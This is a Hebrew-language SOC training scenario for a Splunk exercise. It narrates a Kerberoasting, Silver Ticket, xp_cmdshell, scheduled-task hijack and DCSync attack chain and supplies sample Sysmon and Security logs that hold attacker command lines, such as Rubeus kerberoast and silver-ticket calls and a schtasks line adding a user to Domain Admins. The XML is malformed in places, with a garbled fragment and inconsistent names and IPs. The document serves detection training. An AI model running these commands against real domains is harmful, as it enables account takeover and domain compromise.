

תרחיש תקיפה: "SQLateral Movement"

רמת קושי

גבוהה מתקדמת - התרחיש מתמקד בתקיפה מבוססת זהויות (Identity-Based Attack) ללא שימוש ב-Malware-קלאסי, תוך ניצול פרוטוקולי אימות (Kerberos), שירותי מערכת לגיטימיים (WMI, SQL, Scheduled Tasks) ושימוש בטכניקות Living off the Land הפענוח דורש הבנה עמוקה של לוגי Security ו-Sysmon והצלבתם בין נכסים שונים בדומיין.

1. נקודת התחלה לחניכים -

מה מספרים למי שמתחיל את התרחיש :

מתקבלת התראה ראשונית על חיבור RPC חריג ממחשב שאינו משויך לדומיין-Non (Domain Joined) בשם **(SHACHCHE-014 - 192.101.10.1)** לכיוון עמדת הקצה **(pisgat_kred_host - 192.101.20.3)**, ידוע כי המשתמש **HOSHEN\eliyanko** התחבר לעמדה זו מרחוק. (בפועל התוקף שלנו התחבר לפורט פיזי למחשב שאינו חלק מהדומיין והצליח להתרחב לעמדה אחרת ברשת שהיא כן חלק מהדומיין תכף נסביר איך, עם פרטי משתמש ידועים מראש)

זמן קצר לאחר מכן, נצפתה פעילות חריגה באחד משרתי ה-SQL-הארגוניים (**sql01 - 192.101.20.50**) ובסופו של תהליך, נראה כי משתמש בשם **eliyanko** צורף לקבוצת ה-**Domain Admins** ב-DC וקפצה התראה ב-soc על מתקפת Dcsync (ה-DC המדובר הוא **191.101.20.10 - NAHAR_TOVEA_DC**)

מקורות מידע זמינים בספלאנק:

- **Sysmon & Windows Security** מהעמדות **pisgat_kred_host** : **sql01.hoshen.global, NAHAR_TOVEA_DC**.

- **SQL Server Logs** מיוצגים דרך אירועי ה-OS, נבין בהמשך איך

מטרת החוקרים : לזהות את שרשרת התקיפה המלאה: החל מהפריצה הראשונית (Footprint), דרך גניבת זהויות (Kerberoasting), יצירת כרטיס מזויף (Silver Ticket), הסלמת הרשאות מקומית בשרת ה-SQL (Abuse of Scheduled Tasks) ועד להשתלטות מלאה על ה-Domain Controller (DCSync)

. מטרת התוקף:

התוקף פועל בפרופיל של **APT מתוחכם** המתמקד בגניבת זהויות (Credential Theft) והתפשטות רוחבית (Lateral Movement) בתוך רשת הארגון. התוקף אינו משתמש ב-Malware רועש או בשרתי C2 חיצוניים, אלא מנצל משאבי רשת קיימים כדי להיטמע

בתעבורה הלגיטימית, הוא בתוך הרשת פיזית וממקסם את ההתרחבות שלו עד להשגת כל כל הזהויות.

המטרות:

1 - השגת "קפיצת מדרגה" מרשת חיצונית לדומיין: (Footprint Expansion) התוקף
מתחיל מעמדה שאינה בתוך ה Domain - (SHACHCHE-014). המטרה הראשונה היא להוכיח יכולת דילוג (Pivot) לתוך נכס דומיני לגיטימי תוך שימוש ב WMI - זוהי הכנת הקרקע למצב שבו גם אם הגישה הפיזית/מרחוק לעמדה הראשונה תיחסם, לתוקף כבר יש אחיזה בתוך זהות משתמש פעילה בדומיין.

2 - הוכחת יכולת בתקיפת פרוטוקולי אימות: (Identity Abuse) התוקף מוכיח יכולת לעקוף מנגנוני הגנה מבלי להריץ קוד זדוני מורכב, אלא על ידי מניפולציה של פרוטוקול Kerberos , המטרה היא להשיג כרטיסי שירות (TGS) מבלי לעבור דרך ה Domain Controller בשלב ה-Silver Ticket - מה שמקשה מאוד על זיהוי התקיפה במערכות SIEM/EDR סטנדרטיות שלא מנטרות אירועי Ticket Injection בזיכרון ה - LSASS - מתקפות pass the ticket למינהם.

3 - איסוף מודיעין וגישה למידע רגיש בבסיסי נתונים: (SQL Discovery) שרת ה - SQL
נבחר כיעד אסטרטגי. המטרה היא לא רק לעבור דרכו, אלא להשתמש בהרשאות ה DB- כדי לבצע איסוף מידע (Recon) על משתמשים בעלי הרשאות גבוהות שמתחברים לשרת. התוקף מזהה מנגנוני תחזוקה ארגוניים (Scheduled Tasks) ומבין מי הן הזהויות יקרות הערך (כמו CoolAdmin שנראה בהמשך) שניתן לנצל כדי להגיע לראש הפירמידה.

4 - השתלטות מלאה על ה Identity Infrastructure - (Domain Takeover) - המטרה
הסופית היא לא רק להיות Domain Admin, אלא להחזיק ביכולת DCSync ברגע שהתוקף מבצע את ה - Dump ל KRBtgt ולכל ה Hashes של הדומיין, הוא משיג עמידות (Persistence) מוחלטת. גם אם הארגון יחליף את כל הסיסמאות של המשתמשים, לתוקף עדיין תהיה יכולת לייצר "Golden Tickets" ולחזור לרשת בכל עת שיחפוץ.

לגבי החשיפה המוקדמת : בתרחיש זה, התוקף תוכנן להישאר "מתחת לרדאר" לאורך זמן. החשיפה קרתה בשל אנומליה בזיהוי ה - WMI - הראשוני ושינוי קובץ ה Script - בשלב ההסלמת הרשאות. למרות שהתוקף הצליח להגיע ל DC - ולבצע DCSync, (וקפץ על זה חוק ב-soc) בעקבות הפעילות שלו ב SQL01 - כמו פתיחת cmd.exe מתוך sqlservr.exe הן אלו שאיפשרו לחוקרים שלנו לסגור עליו את המעגל אך יכול להיות שזה מאוחר מדי בשבילם.

2. מתווה התקיפה המלא

2.1 שלב 1 – דריסת רגל והרצת קוד מרחוק (WMI)

התוקף, הפועל מעמדה חיצונית לדומיין, (התחבר עם פורט בקיר לעמדה נידחת ברשת) מנצל זהות משתמש שנגנבה מראש (eliyanko). הוא משתמש ב WMI - כדי להריץ PowerShell מרחוק על psgat_kred_host פעולה זו אינה משאירה קובץ על הדיסק

(In-Memory) בלבד ומתבצעת תחת שירות WmiPrivSE.exe

יצירת ערוץ התקשורת (RPC over Port 135)

התהליך מתחיל בבקשת חיבור מהתוקף אל היעד. WMI מתבסס על פרוטוקול **DCOM** (Distributed Component Object Model) שרץ מעל - **RPC** (Remote Procedure Call).

- **הפעולה:** התוקף שולח בקשה לפורט 135 בשרת היעד.
- **הזדהות:** מכיוון שהתוקף משתמש בזדהות שנגנבה מראש, (HOSHEN\eliyanko) הוא מבצע אימות (Authentication) מול ה-RPC Endpoint Mapper של היעד. ברגע שהאימות מצליח, היעד מקצה פורט דינמי גבוה (בטווח 49152-65535) להמשך התקשורת של WMI.

2. הפעלת ה- WMI Provider (WmiPrvSE.exe)

ברגע שהחיבור נוצר, שירות ה-WMI-ביעד (שנמצא בתוך svchost.exe) צריך "ספק" שיבצע את הפעולה עבורו.

- **התהליך:** השירות מקפיץ תהליך מארח שנקרא WMI Provider (**WmiPrvSE.exe** Host.).
- **הקשר המשתמש:** התהליך הזה עולה בדרך כלל תחת NETWORK SERVICE או LOCAL SYSTEM, אבל הפעולות שהוא יבצע בתוך ה"מרחב" של המשתמש יתבצעו תחת ההקשר של HOSHEN\eliyanko.

3. קריאה למתודה Win32_Process.Create

WMI בנוי ממחלקות (Classes) - אחת המחלקות המפורסמות היא Win32_Process שמכילה מתודה בשם Create

- **הפקודה:** התוקף שולח הוראה מרחוק: "תפעיל עבורי את המחלקה Win32_Process ותריץ את הפונקציה Create עם הפרמטרים הבאים: "powershell.exe -nop -enc...".
- **ביצוע מקומי:** ה-WmiPrvSE.exe ביעד מקבל את ההוראה ומבצע אותה. הוא הופך להיות ה- **Parent Process** של ה-PowerShell.

4. הרצת הקוד בזיכרון (In-Memory Execution)

מכיוון שהתוקף משתמש ב-PowerShell-עם דגל EncodedCommand או -enc מה שנקרא - הוא לא צריך להוריד קובץ exe זדוני לדיסק. הקוד רץ ישירות בזיכרון ה-RAM מבחינת אנטי-וירוס מסורתי, הוא רואה תהליך לגיטימי של Windows (powershell.exe) שנפתח על ידי תהליך לגיטימי אחר. (WmiPrvSE.exe) וזה גם מה שנראה בלוגים

2.2 שלב 2 (Kerberoasting (Credential Harvesting)

התוקף מבצע סריקה לאיתור חשבונות שירות - (Service Accounts)

הסבר טכני : התוקף משתמש ב `setspn` - כדי לאתר את שרת ה `SQL` - לאחר מכן הוא מבקש מה- `KDC`, ה `DC`-של הדומיין כרטיס שירות (TGS) עבור ה- `SPN`- של ה `SQL` ה `DC` מנפיק כרטיס שמוצפן עם ה- `Hash` של סיסמת חשבון השירות `sql_svc`. התוקף מוציא את הכרטיס מהזיכרון בעזרת **Rubeus** ומבצע פיצוח (Offline Cracking) כדי להשיג את מפתח ה- `AES256` של השירות

2.3 שלב 3 (Silver Ticket & Lateral Movement

התוקף מייצר כרטיס שירות מזויף לשירות ה `SQL` בלבד

הסבר טכני : באמצעות מפתח ה- `AES256` שהשיג בשלב הקודם, התוקף בונה "חוקי" מבלי לפנות ל- `DC` הוא מזריק את הכרטיס לזיכרון ה- `LSASS` טכניקת - `Pass-the-Ticket` כעת, כשהוא ניגש לשרת `sql01`, השרת מאמת את הכרטיס מול המפתח שלו עצמו ומאפשר גישה מלאה כמשתמש מורשה, ללא כל רישום של `Logon` ב- `Domain Controller` מה שיסביר מחסור בלוגים בהמשך (טכניקה מוכרת `ghost authentication`)

2.4 שלב 4 (SQL to OS (xp_cmdshell Abuse

בתוך שרת ה- `SQL` התוקף מפעיל את מנגנון ה- `xp_cmdshell` המאפשר לו להריץ פקודות מערכת (OS Commands) בהרשאות של `SQL Service`, התוקף משתמש בגישה ה- `DB` כדי לקבל שליטה על מערכת ההפעלה.

הסבר טכני : כשהתוקף מפעיל את הפרוצדורה `xp_cmdshell` בשרת ה `SQL` פעולה זו גורמת לתהליך `sqlservr.exe` להוליד תהליך `cmd.exe`

הרצת פקודות המערכת מתבצעת תחת ההקשר של `NT SERVICE\MSSQLSERVER` מה שמאפשר לתוקף לבצע פעולות `Discovery` מקומיות על השרת (למצוא משימות מתוזמנות, שירותים וכדומה)

2.5 שלב 5 (Scheduled Task Hijacking (Privilege Escalation

התוקף מזהה משימה מתוזמנת קיימת בשם `DBMaintenance` שרצה כ- `Domain Admin`.

הסבר טכני : התוקף מגלה שהמשימה מריצה סקריפט Batch
(C:\Scripts\db_maintenance.bat) , במקום ליצור משימה חדשה שתעורר חשד, הוא דורס את תוכן הסקריפט הקיים בפקודה לפתיחת Shell כאשר הוא מפעיל את המשימה ידנית (או מחכה להפעלה אוטומטית), ה Task Engine - מריץ את הקוד שלו תחת זהות המשתמש. CoolAdmin (Domain Admin)

2.6 שלב 6 – DCSync

התוקף מבצע את השלב הסופי להשתלטות על הדומיין.

הסבר טכני: כשהוא מצויד בהרשאות Domain Admin התוקף פונה ל DC ומשתמש בפרוטוקול - MS-DRSR (Replication) הוא מתחזה ל Domain Controller - ומבקש לבצע סנכרון של בסיס הנתונים. ה DC- שולח לו את ה Hashes של כל המשתמשים בארגון, כולל ה - Hash של חשבון - KRBTGT מה שמאפשר לתוקף לייצר "Golden Tickets" בעתיד. הוא מבצע זאת באמצעות הכלי Mimikatz

3. מתווה החקירה המלא

שלב ראשון – זיהוי החדירה ל- pisgat kred host

1. זיהוי הרצת קוד מרחוק דרך WMI: נחפש תהליך PowerShell חריג שנוצר מתהליך המערכת המארח את WMI -

- לוג. Sysmon Event ID 1 :

- ממצא ParentImage הוא: WmiPrvSE.exe ה User- הוא eliyanko

```
<Event>
<System>
  <"/Provider Name="Microsoft-Windows-Sysmon>
    <EventID> 1 </EventID>
  <"/TimeCreated SystemTime="2025-01-14T08:50:00.000000Z>
    <Computer>pisgat_kred_host.Hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="Image">C:\Windows\System32\wbem\WmiPrvSE.exe</Data>
    <Data Name="ParentImage">C:\Windows\System32\svchost.exe</Data>
    <Data Name="User">NT AUTHORITY\NETWORK SERVICE</Data>
  <EventData> </Event/>
```

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon>
<EventID>10</EventID>
</TimeCreated SystemTime="2025-01-14T08:50:00.800000Z>
<Computer>pisgat_kred_host.Hoshen.global</Computer>
<System/>
<EventData>
<Data Name="SourceImage">C:\Windows\System32\wbem\WmiPrvSE.exe</Data>
<Data Name="TargetImage">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="GrantedAccess">0x1ffff</Data>
<EventData></EventData>
</Event/>

```

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon>
<EventID>1</EventID>
</TimeCreated SystemTime="2025-01-14T08:50:00.400000Z>
<Computer>pisgat_kred_host.Hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="ParentImage">C:\Windows\System32\wbem\WmiPrvSE.exe</Data>
<Data Name="CommandLine">powershell -nop -enc ZAB1AG0AaQ==</Data>
<Data Name="User">Hoshen\eliyanko</Data>
<EventData></EventData>
</Event/>

```

שלב 2 - אימות מקור החיבור (Network Context): נזהה את ה- IP החיצוני שביקש את פעולת ה- WMI

- לוג: Security 4624 (Logon Type 3) / Sysmon ID 3 :
- ממצא : חיבור מ- 192.101.10.1 שזה IP עמדת SHACHCHE-014 בפורט 135.

```

<Event>
  <System>
    </"Provider Name="Microsoft-Windows-Sysmon>
      <EventID>3</EventID>
    </"TimeCreated SystemTime="2025-01-14T08:50:01.000000Z>
      <Computer>pisgat_kred_host.Hoshen.global</Computer>
    <System/>
    <EventData>
      <Data Name="SourceIp">192.101.10.1</Data>
      <Data Name="DestinationIp">192.101.20.3</Data>
      <Data Name="DestinationPort">135</Data>
      <Data Name="Protocol">tcp</Data>
    <EventData></Event/>

```

```

<"Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event>
  <System>
    </"Provider Name="Microsoft-Windows-Security-Auditing>
      <EventID>4624</EventID>
    </"TimeCreated SystemTime="2025-01-14T10:22:00.000Z>
      <Channel>Security</Channel>
    <Computer>pisgat_kred_host.hoshen.global</Computer>
    <System/>
    <EventData>
      <Data Name="TargetUserName">eliyanko</Data>
      <Data Name="TargetDomainName">HOSHEN</Data>
      <Data Name="LogonType">3</Data>
      <Data Name="AuthenticationPackageName">Kerberos</Data>
      <Data Name="IpAddress">192.101.10.1</Data>
      <Data Name="WorkstationName">SHACHCHE-014</Data>

```

Data Name
 a Name="C
 <Data Na
 <C
 rovider Na
 SystemTim
 >pisgat_kre
 age">C:\W
 :MSSQLSV
 Data Nam

```

<EventData/>
<Event/>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <"/Provider Name="Microsoft-Windows-Security-Auditing>
    <EventID>4688</EventID>
    <"/TimeCreated SystemTime="2025-01-14T10:22:05.000Z>
    <Channel>Security</Channel>
    <Computer>pisgat_kred_host.hoshen.global</Computer>
  </System>
  <EventData>
    <Data Name="NewProcessName">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
  </EventData>
</Event>

```

3 זיהוי פעילות Kerberoasting

- לוג Security 4769 ופעילות של Rubeus ב-Sysmon
- ממצא: בקשת כרטיס שירות עבור MSSQLSvc/sql01.hoshen.global:1433


```
<Event>
<System>
  </"Provider Name="Microsoft-Windows-Sysmon>
    <EventID>1</EventID>
    </"TimeCreated SystemTime="2025-01-14T09:25:00.000000Z>
    <Computer>pisgat_kred_host.Hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="Image">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">cmd.exe /c rubeus.exe kerberoast /spn:MSSQLSvc/sql01.hoshen.global:1433</Data>
    <Data Name="User">Hoshen\eliyanko</Data>
  <EventData></Event/>
</Event>
```

```

</EventData> </Event/>
} <Event>
<System>
</"Provider Name="Microsoft-Windows-Sysmon>
<EventID>1</EventID>
</"TimeCreated SystemTime="2025-01-14T09:25:00.300000Z>
<Computer>pisgat_kred_host.Hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\ProgramData\Microsoft\rubeus.exe</Data>
<Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data>
<Data Name="User">Hoshen\eliyanko</Data>
<EventData> </Event/>

```

לאחר מכן צריך לזהות את ה-silver ticket על ידי Rubeus אחרי שהתוקף עשה offline crack ל-spn , לאחר מכן הלוגים הבאים זה כבר על ה-sql server

```

<Event>
<System>
  </"Provider Name="Microsoft-Windows-Sysmon"
    <EventID>1</EventID>
  </"TimeCreated SystemTime="2025-01-14T09:40:00.000000Z"
    <Computer>pisgat_kred_host.Hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="Image">C:\ProgramData\Microsoft\rubeus.exe</Data>
    <Data Name="CommandLine">rubeus.exe silver /service:MSSQLSvc/sql01.hoshen.global:1433 /ptt</Data>
    <Data Name="RuleName">silver_ticket_rubeus</Data>
    <Data Name="User">Hoshen\elijanko</Data>
  <EventData></Event/>
</Event>

```

ואז ההזרקה של ה- ticket המלאכותי -

```

<EventData></Event/>
<Event>
<System>
  </"Provider Name="Microsoft-Windows-Sysmon"
    <EventID>10</EventID>
  </"TimeCreated SystemTime="2025-01-14T09:40:00.500000Z"
    <Computer>pisgat_kred_host.Hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="SourceImage">C:\ProgramData\Microsoft\rubeus.exe</Data>
    <Data Name="TargetImage">C:\Windows\System32\lsass.exe</Data>
    <Data Name="GrantedAccess">0x1010</Data>
  <EventData></Event/>
</Event>

```

שימוש ב- TGS המזויף

```
<"Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <"/Provider Name="Microsoft-Windows-Security-Auditing">
      <EventID>4769</EventID>
      <"/TimeCreated SystemTime="2025-01-14T10:26:00.000Z">
        <Channel>Security</Channel>
        <Computer>pisgat_kred_host.hoshen.global</Computer>
        <System/>
        <EventData>
          <Data Name="ServiceName">MSSQLSvc/sql01.hoshen.global:1433</Data>
          <Data Name="TicketEncryptionType">0x12</Data>
          <Data Name="TargetUserName">elijanko</Data>
          <Data Name="Status">0x0</Data>
        </EventData>
      </System>
    </Provider>
  </Event>
```

חלק ב': הפעילות בשרת SQL01

4 התחברות ל SQL- באמצעות Silver Ticket - נזהה Logon בשרת היעד ללא תיעוד מקביל ב- DC

לוג Security בשרת sql01- ובסיסמון event id 3 בפורט 1433

```
<Event>
  <System>
    <"/Provider Name="Microsoft-Windows-Security-Auditing">
      <EventID>4624</EventID>
      <"/TimeCreated SystemTime="2025-01-14T11:38:47Z">
        <Computer>sql01.hoshen.global</Computer>
        <System/>
        <EventData>
          <Data Name="TargetUserName">elijanko</Data>
          <Data Name="LogonType">3</Data>
          <Data Name="AuthenticationPackageName">Kerberos</Data>
          <Data Name="WorkstationName">PISGAT_KRED_HOST</Data>
        </EventData>
      </System>
    </Provider>
  </Event>
```

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
<EventID>3</EventID>
</TimeCreated SystemTime="2025-01-14T11:05:09Z">
<EventRecordID>500005</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
<Data Name="SourceIp">192.101.20.50</Data>
<Data Name="DestinationIp">192.101.20.60</Data>
<Data Name="DestinationPort">1433</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="User">NT SERVICE\MSSQLSERVER</Data>
<EventData/>
<Event/>

```

5 . זיהוי ניצול xp_cmdshell - נחפש את הרגע שבו ה SQL- הופך ל Vector- להרצת פקודות.

לוג ID Sysmon 1 בשרת sql01

ממצא - ParentImage הוא sqlservr.exe המריץ את cmd.exe

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
<EventID>1</EventID>
</TimeCreated SystemTime="2025-01-14T11:18:49Z">
<EventRecordID>500402</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\cmd.exe</Data>
<Data Name="CommandLine">cmd.exe /c whoami</Data>
<Data Name="User">NT SERVICE\MSSQLSERVER</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
<EventData/>
<Event/>

```

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing">
  <EventID>4688</EventID>
  </TimeCreated SystemTime="2025-01-14T11:38:55Z">
    <Computer>sql01.hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CreatorProcessName">sqlservr.exe</Data>
    <Data Name="SubjectUserName">NT SERVICE\MSSQLSERVER</Data>
  <EventData/>
</Event/>

```

הרצת פקודות discovery על ידי התוקף

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
  <EventID>1</EventID>
  </TimeCreated SystemTime="2025-01-14T11:18:57Z">
    <EventRecordID>500403</EventRecordID>
    <Computer>sql01.hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="Image">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">net localgroup administrators</Data>
    <Data Name="User">NT SERVICE\MSSQLSERVER</Data>
    <Data Name="ParentImage">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
  <EventData/>
</Event/>

```

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
  <EventID>1</EventID>
  </TimeCreated SystemTime="2025-01-14T11:19:03Z">
    <EventRecordID>500404</EventRecordID>
    <Computer>sql01.hoshen.global</Computer>
  <System/>
  <EventData>
    <Data Name="Image">C:\Windows\System32\schtasks.exe</Data>
    <Data Name="CommandLine">schtasks /query /v</Data>
    <Data Name="User">NT SERVICE\MSSQLSERVER</Data>
    <Data Name="ParentImage">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
  <EventData/>
</Event/>

```

Event viewer:

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing">
<EventID>4688</EventID>
</TimeCreated SystemTime="2025-01-14T11:39:02Z">
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="NewProcessName">net.exe</Data>
<Data Name="CreatorProcessName">sqlservr.exe</Data>
<Data Name="SubjectUserName">NT SERVICE\MSSQLSERVER</Data>
<EventData/>
<Event/>
```

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing">
<EventID>4688</EventID>
</TimeCreated SystemTime="2025-01-14T11:39:05Z">
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="NewProcessName">schtasks.exe</Data>
<Data Name="CreatorProcessName">sqlservr.exe</Data>
<Data Name="SubjectUserName">NT SERVICE\MSSQLSERVER</Data>
<EventData/>
<Event/>
```

זיהוי המשימה והבנה שהיא רצה בהרשאות גבוהות על ידי התוקף (רק אחרי שרואים שהוא מתעסק בקובץ ואז רצה המשימה ופתאום יש shell בהרשאות cooladmin אנחנו מבינים למה)

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
<EventID>1</EventID>
</TimeCreated SystemTime="2025-01-14T11:19:09Z">
<EventRecordID>500405</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\schtasks.exe</Data>
<Data Name="CommandLine">schtasks /query /tn "DBMaintenance" /v</Data>
<Data Name="User">NT SERVICE\MSSQLSERVER</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
<EventData/>
<Event/>
```

- **לוגים** Sysmon ID 11 (File Create) ו- Sysmon ID 1 (CommandLine) -
- **ממצא:** שינוי הקובץ C:\Scripts\db_maintenance.bat על ידי התהליך שנוצר מה SQL

התוקף ערך את הקובץ bat ככה שיפתח cmd ובגלל שהמשימה רצה בהרשאות אדמין ככה גם - command line שיפתח

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
<EventID>1</EventID>
</TimeCreated SystemTime="2025-01-14T11:19:19Z">
<EventRecordID>500406</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="CommandLine">powershell.exe -Command "Set-Content -Path C:\Scripts\db_maintenance.bat -Value 'cmd.exe'"</Data>
<Data Name="User">NT SERVICE\MSSQLSERVER</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
<EventData/>
<Event/>

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
<EventID>11</EventID>
</TimeCreated SystemTime="2025-01-14T11:19:21Z">
<EventRecordID>500407</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="TargetFilename">C:\Scripts\db_maintenance.bat</Data>
<Data Name="User">NT SERVICE\MSSQLSERVER</Data>
<EventData/>
<Event/>

```

הרצת המשימה

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon">
<EventID>1</EventID>
</TimeCreated SystemTime="2025-01-14T11:19:31Z">
<EventRecordID>500408</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\schtasks.exe</Data>
<Data Name="CommandLine">schtasks /run /tn "DBMaintenance"</Data>
<Data Name="User">NT SERVICE\MSSQLSERVER</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe</Data>
<EventData/>
<Event/>

```


Cmd שנפתח על ידי cooladmin (פה מבינים למה הוא עשה את זה, כדי להשיג shell של DA

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing">
<EventID>4688</EventID>
</TimeCreated SystemTime="2025-01-14T11:39:17Z">
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
<Data Name="CreatorProcessName">taskeng.exe</Data>
<Data Name="SubjectUserName">HOSHEN\CoolAdmin</Data>
<EventData/>
<Event/>
```

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing">
<EventID>4672</EventID>
</TimeCreated SystemTime="2025-01-14T11:39:19Z">
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="SubjectUserName">HOSHEN\CoolAdmin</Data>
<EventData/>
<Event/>
```

ומפה התוקף התחיל לתקשר ל - DC והמשיך לפעול שם -

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon>
<EventID>3</EventID>
</TimeCreated SystemTime="2025-01-14T11:19:49Z>
<EventRecordID>500410</EventRecordID>
<Computer>sql01.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="Image">C:\Windows\System32\cmd.exe</Data>
<Data Name="SourceIp">192.101.20.50</Data>
<Data Name="DestinationIp">192.101.20.10</Data>
<Data Name="DestinationPort">445</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="User">HOSHEN\CoolAdmin</Data>
<EventData/>
<Event/>

```

בלוגים של ה - dc ניתן לראות שהתוקף יצר משימה שמטרתה להוסיף את המשתמש שיש לו creds שלו כבר (eliyanko) ולמעשה להפוך אותו ל- DA כדי שלא יצטרך להשתמש ב-shell הבודד שיש לו עם cooladmin לפעולות רחבות יותר

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon>
<EventID>1</EventID>
</TimeCreated SystemTime="2025-01-14T12:42:06.000Z>
<EventRecordID>303055</EventRecordID>
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>NAHAR_TOVEA_DC.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="UtcTime">2025-01-14 12:42:06.000</Data>
<Data Name="ProcessGuid">{ECBB21E1-9BAD-414E-8F58-C3B692DFA5D0}</Data>
<Data Name="ProcessId">5449</Data>
<Data Name="Image">C:\Windows\System32\schtasks.exe</Data>
<Data Name="CommandLine">schtasks /create /tn "WindowsUpdateSync" /tr "cmd.exe /c net group "Domain Admins" eliyanko /add" /sc once /st 23:59 /ru SYSTEM</Data>
<Data Name="User">HOSHEN\CoolAdmin</Data>
<Data Name="ParentProcessGuid">{77ACF895-90A6-4033-8C13-2E689481D222}</Data>
<Data Name="ParentProcessId">1453</Data>
<Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data>
<EventData/>
<Event/>

```

הרצת המשימה -

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon"
<EventID> 1 </EventID>
</TimeCreated SystemTime="2025-01-14T12:44:30.000Z"
<EventRecordID> 303117 </EventRecordID>
<Channel> Microsoft-Windows-Sysmon/Operational </Channel>
<Computer> NAHAR_TOVEA_DC.hoshen.global </Computer>
<System/>
<EventData>
<Data Name="UtcTime"> 2025-01-14 12:44:30.000 </Data>
<Data Name="ProcessGuid"> {261B2D19-3FDA-4CF0-9C40-F4803FD1A724} </Data>
<Data Name="ProcessId"> 4325 </Data>
<Data Name="Image"> C:\Windows\System32\cmd.exe </Data>
<Data Name="CommandLine"> cmd.exe /c net group "Domain Admins" eliyanko /add </Data>
<Data Name="User"> NT AUTHORITY\SYSTEM </Data>
<Data Name="ParentProcessGuid"> {B9E8C54A-4496-4CEF-B507-3C6E8B24DDC} </Data>
<Data Name="ParentProcessId"> 4477 </Data>
<Data Name="ParentImage"> C:\Windows\System32\taskeng.exe </Data>
<EventData/>
<Event/>
```

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing"
<EventID> 4728 </EventID>
</TimeCreated SystemTime="2025-01-14T12:44:40.000Z"
<EventRecordID> 808122 </EventRecordID>
<Channel> Security </Channel>
<Computer> NAHAR_TOVEA_DC.hoshen.global </Computer>
<System/>
<EventData>
<Data Name="SubjectUserName"> SYSTEM </Data>
<Data Name="SubjectDomainName"> NT AUTHORITY </Data>
<Data Name="GroupName"> Domain Admins </Data>
<Data Name="GroupDomain"> HOSHEN </Data>
<Data Name="MemberName"> eliyanko </Data>
<Data Name="MemberDomain"> HOSHEN </Data>
<EventData/>
<Event/>
```

